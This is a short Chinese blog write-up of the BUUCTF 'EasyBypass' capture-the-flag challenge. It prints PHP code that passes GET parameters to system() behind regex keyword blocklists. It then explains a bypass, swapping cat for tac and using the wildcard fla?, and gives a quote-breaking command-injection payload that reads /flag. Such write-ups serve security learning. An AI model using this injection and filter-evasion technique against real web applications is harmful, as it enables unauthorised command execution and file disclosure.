BUUCTF--EasyBypass

原创

Uzero. 于 2021-08-15 11:01:29 发布 154 收藏
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_46263951/article/details/119710738
版权

题目给出代码

```
 <?php

highlight_file(__FILE__);

$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];


if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|s
    $comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|
    $comm2 = "";

$flag = "#flag in /flag";

$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';

$cmd = "file $comm1 $comm2";
system($cmd);
?>
cannot open `' (No such file or directory) cannot open `' (No such file or directory)
```

题目已经给出提示flag在/flag中,所以我们只需要考虑如何绕过正则匹配即可
用tac代替cat
用fla?代替flag(?代表一个字符)
构造payload

```
?comm1=index.php";tac /fla?;"&comm2=1
```